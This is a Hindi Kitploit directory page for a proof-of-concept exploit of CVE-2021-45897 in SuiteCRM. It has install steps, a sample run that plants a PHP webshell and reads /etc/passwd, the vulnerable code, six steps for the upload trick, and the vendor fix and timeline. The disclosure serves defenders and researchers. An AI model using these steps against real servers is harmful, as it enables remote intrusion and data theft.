Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-45897 — प्रमाणित RCE शोषण SuiteCRM <= 8.0.1 के लिए ईमेल टेम्पलेट इमेज अपलोड के माध्यम से, रिमोट कमांड निष्पादन के लिए PHP वेबशेल स्थापित करना। | Kitploit
उपकरण/GitHubGitHub/manuelz120/cve-2021-45897
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubmanuelz120/cve-2021-45897

CVE-2021-45897

प्रमाणित RCE शोषण SuiteCRM <= 8.0.1 के लिए ईमेल टेम्पलेट इमेज अपलोड के माध्यम से, रिमोट कमांड निष्पादन के लिए PHP वेबशेल स्थापित करना।

रिपॉजिटरी देखें
1854 साल पहलेअभी तक समीक्षित नहीं
वेबसाइट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-45897

CVE-2021-45897 उर्फ SCRMBT-#180 के लिए PoC - SuiteCRM <= 8.0.1 में ईमेल-टेम्पलेट्स के माध्यम से RCE (केवल प्रमाणित उपयोगकर्ता)

यह भेद्यता SalesAgility को रिपोर्ट की गई थी और SuiteCRM 7.12.3 और SuiteCRM Core 8.0.2 में ठीक कर दी गई है। यदि आप SuiteCRM के पुराने संस्करणों का उपयोग कर रहे हैं, तो मैं आपको दृढ़ता से सलाह देता हूं कि आप अपडेट करें।

उपयोग

स्थापना

  1. सुनिश्चित करें कि आपके पास python3 और pip का हालिया संस्करण स्थापित है।
  2. रिपॉजिटरी क्लोन करें: git clone https://github.com/manuelz120/CVE-2021-45897.git
  3. आवश्यक लाइब्रेरी स्थापित करें pip3 install -r "requirements.txt"
  4. आनंद लें :)

उपलब्ध विकल्प:

root@kitploit:~
(.venv) ➜  CVE-2021-45897 git:(main) ✗ ./exploit.py --help
Usage: exploit.py [OPTIONS]

Options:
  -h, --host TEXT        Root of SuiteCRM installation. Defaults to
                         http://localhost
  -u, --username TEXT    Username
  -p, --password TEXT    password
  -P, --payload TEXT     Shell command to be executed on target system
  -d, --is_core BOOLEAN  SuiteCRM Core (>= 8.0.0). Defaults to False
  --help                 Show this message and exit.

  https://github.com/manuelz120/CVE-2021-45897

उदाहरण उपयोग:

root@kitploit:~
(.venv) ➜  CVE-2021-45897 git:(main) ✗ ./exploit.py -u user -p <redacted> --payload "cat /etc/passwd"
INFO:CVE-2021-45897:Login did work - Planting webshell as Note
INFO:CVE-2021-45897:Note with paylaod located @ 6da23afd-06a0-c25a-21bd-61f8364ae722
INFO:CVE-2021-45897:Successfully planted payload at http://localhost/public/6da23afd-06a0-c25a-21bd-61f8364ae722.php
INFO:CVE-2021-45897:Verifying web shell by executing command: 'cat /etc/passwd'
INFO:CVE-2021-45897:------ Starting command output ------
INFO:CVE-2021-45897:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
INFO:CVE-2021-45897:------  Ending command output  ------
INFO:CVE-2021-45897:Enjoy your shell :)

राइटअप

मैंने हाल ही में PHP आधारित SuiteCRM सॉफ्टवेयर में एक दिलचस्प RCE हमला वेक्टर खोजा। यह भेद्यता एक प्रमाणित हमलावर को EmailTemplates मॉड्यूल तक पहुंच के साथ दुर्भावनापूर्ण PHP फाइलें अपलोड करने की अनुमति देती है, जिसका उपयोग रिमोट कोड निष्पादन प्राप्त करने के लिए किया जा सकता है।

मेरे दृष्टिकोण से, SuiteCRM में समग्र फ़ाइल अपलोड हैंडलिंग काफी सुरक्षित दिखती है। हालांकि बहुत सारा कस्टम कोड है, डेवलपर्स ने या तो किसी भी फ़ाइल एक्सटेंशन को हटाने (अधिकांश फ़ाइल प्रकारों के लिए ऐसा होता है), या एक्सटेंशन को मान्य करने और छवि होने की स्थिति में सामग्री को साफ करने पर पूरा ध्यान दिया। तृतीय-पक्ष AV स्कैनर लोड करने और उन्हें किसी भी अपलोड को संसाधित करने देने के लिए एक प्लगइन इंटरफ़ेस भी मौजूद है।

हालांकि, मैं संयोग से public/legacy/modules/EmailTemplates/EmailTemplate.php में छिपी एक दिलचस्प छोटी सुविधा पर ठोकर खाई:

root@kitploit:~
private function repairEntryPointImages()
{
    global $sugar_config;

    // repair the images url at entry points, change to a public direct link for remote email clients..


    $html = from_html($this->body_html);
    $siteUrl = $sugar_config['site_url'];
    $regex = '#]*[\s]+src=[\s]*["\'](' . preg_quote($siteUrl) . '\/index\.php\?entryPoint=download&type=Notes&id=([a-f0-9]{8}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{4}\-[a-f0-9]{12})&filename=.+?)["\']#si';

    if (preg_match($regex, $html, $match)) {
        $splits = explode('.', $match[1]);
        $fileExtension = end($splits);
        $this->makePublicImage($match[2], $fileExtension);
        $newSrc = $sugar_config['site_url'] . '/public/' . $match[2] . '.' . $fileExtension;
        $this->body_html = to_html(str_replace($match[1], $newSrc, $html));
        $this->imageLinkReplaced = true;
        $this->repairEntryPointImages();
    }
}

private function makePublicImage($id, $ext = 'jpg')
{
    $toFile = 'public/' . $id . '.' . $ext;
    if (file_exists($toFile)) {
        return;
    }
    $fromFile = 'upload://' . $id;
    if (!file_exists($fromFile)) {
        throw new Exception('file not found');
    }
    if (!file_exists('public')) {
        sugar_mkdir('public', 0777);
    }
    $fdata = file_get_contents($fromFile);
    if (!file_put_contents($toFile, $fdata)) {
        throw new Exception('file write error');
    }
}

SuiteCRM उपयोगकर्ताओं को ईमेल टेम्पलेट बनाने की अनुमति देता है। टेम्पलेट्स में अटैचमेंट भी हो सकते हैं, जो एक अलग मॉड्यूल (Notes मॉड्यूल) में संग्रहीत होते हैं। उपयोगकर्ता ईमेल टेम्पलेट्स में मनमानी फाइलें संलग्न कर सकते हैं। फ़ाइल की सामग्री को किसी भी तरह से साफ नहीं किया जाता है। हालांकि, इसे बिना एक्सटेंशन के संग्रहीत किया जाता है, इसलिए भले ही इसमें संभावित रूप से दुर्भावनापूर्ण PHP कोड हो, इसे वेबसर्वर द्वारा निष्पादित नहीं किया जाएगा। प्रमाणित उपयोगकर्ता /index.php?entryPoint=download&type=Notes&id=<note-id> प्रारूप का पालन करने वाले लिंक का उपयोग करके इन अटैचमेंट्स को डाउनलोड करने में भी सक्षम हैं।

repairEntryPointImages फ़ंक्शन तब ट्रिगर होता है जब भी कोई ईमेल टेम्पलेट सहेजा या एक्सेस किया जाता है। यदि हम कोड पर एक नज़र डालें, तो हम देख सकते हैं कि यह ईमेल टेम्पलेट के मार्कअप (body_html) को पार्स करता है और एक विशेष src विशेषता के साथ HTML img टैग की तलाश करता है। नियमित अभिव्यक्ति मूल रूप से आंतरिक अटैचमेंट डाउनलोड लिंक के प्रारूप से मिलती जुलती है। हालांकि, ये लिंक केवल उन उपयोगकर्ताओं के लिए काम करते हैं जो SuiteCRM में प्रमाणित हैं, जो ईमेल के प्राप्तकर्ता के लिए सबसे अधिक संभावना नहीं है। इसलिए, SuiteCRM स्वचालित रूप से वेबसर्वर के public फ़ोल्डर में अटैचमेंट की एक प्रति बनाता है और आंतरिक डाउनलोड लिंक को सार्वजनिक संस्करण के साथ बदल देता है। यह सुनिश्चित करने के लिए कि ईमेल-क्लाइंट छवियों को ठीक से प्रदर्शित करता है, यह एक फ़ाइल एक्सटेंशन भी जोड़ता है। हालांकि, सार्वजनिक फ़ोल्डर में लक्ष्य फ़ाइल का एक्सटेंशन सीधे छवि src के filename क्वेरी पैरामीटर से लिया जाता है और मान्य नहीं किया जाता है (ध्यान दें कि filename किसी अन्य तर्क को ट्रिगर नहीं करता है और स्वतंत्र रूप से चुना जा सकता है)।

अब हमारे पास एक एक्सप्लॉइट तैयार करने के लिए सब कुछ एक साथ है जो public फ़ोल्डर में एक PHP वेबशेल अपलोड करता है:

  1. PHP वेबशेल अपलोड करके Notes मॉड्यूल में एक नया ईमेल-अटैचमेंट / रिकॉर्ड बनाएं। Note की आईडी याद रखें
  2. SuiteCRM वेबशेल फ़ाइल को बिना एक्सटेंशन के अपलोड फ़ोल्डर में संग्रहीत करेगा
  3. सत्यापित करें कि आप /index.php?entryPoint=download&type=Notes&id=<note_id> एक्सेस करके PHP फ़ाइल डाउनलोड कर सकते हैं
  4. एक नया ईमेल टेम्पलेट बनाएं और एक इमेज टैग जोड़ें जो repairEntryPointImages में regex से मेल खाता हो, लेकिन filename क्वेरी पैरामीटर के लिए .php का उपयोग करता है (जैसे /index.php?entryPoint=download&type=Notes&id=<note_id>&filename=pwned.php" />)।
  5. ईमेल टेम्पलेट सहेजें / पुनः लोड करें - SuiteCRM repairEntryPointImages फ़ंक्शन को निष्पादित करेगा और हमारे वेबशेल को .php एक्सटेंशन के साथ public फ़ोल्डर में कॉपी करेगा
  6. http://<<host>>/public/<<note_id>>.php पर अपने शेल का आनंद लें

लागू किया गया फिक्स

मेरी रिपोर्ट के तुरंत बाद, नए SuiteCRM संस्करण (7.12.3 और 8.0.2) जारी किए गए, जिनमें निम्नलिखित फिक्स शामिल है:

patch.png

https://github.com/salesagility/SuiteCRM-Core/commit/5d699396379d7af8697ec985ebc425836202ed43#diff-fb3b09c19812fa070cc86927149c52ef4bffc3057a82249a12f4a82bc0dd576dR922-R926

यह सुनिश्चित करता है कि repairEntryPointImages में केवल मान्य छवि फ़ाइल एक्सटेंशन का उपयोग किया जाता है और .php जैसे गैर-श्वेतसूचीबद्ध एक्सटेंशन वाली फाइलों के निर्माण को रोकता है।

समयरेखा

  • 21/12/2021: भेद्यता की खोज की गई और SuiteCRM को रिपोर्ट की गई
  • 22/12/2021: विक्रेता (SalesAgility) द्वारा भेद्यता की पुष्टि की गई
  • 27/01/2022: फिक्स्ड संस्करणों की रिलीज़ (SuiteCRM 7.12.3 और SuiteCRM Core 8.0.2)
टूल डाउनलोड करें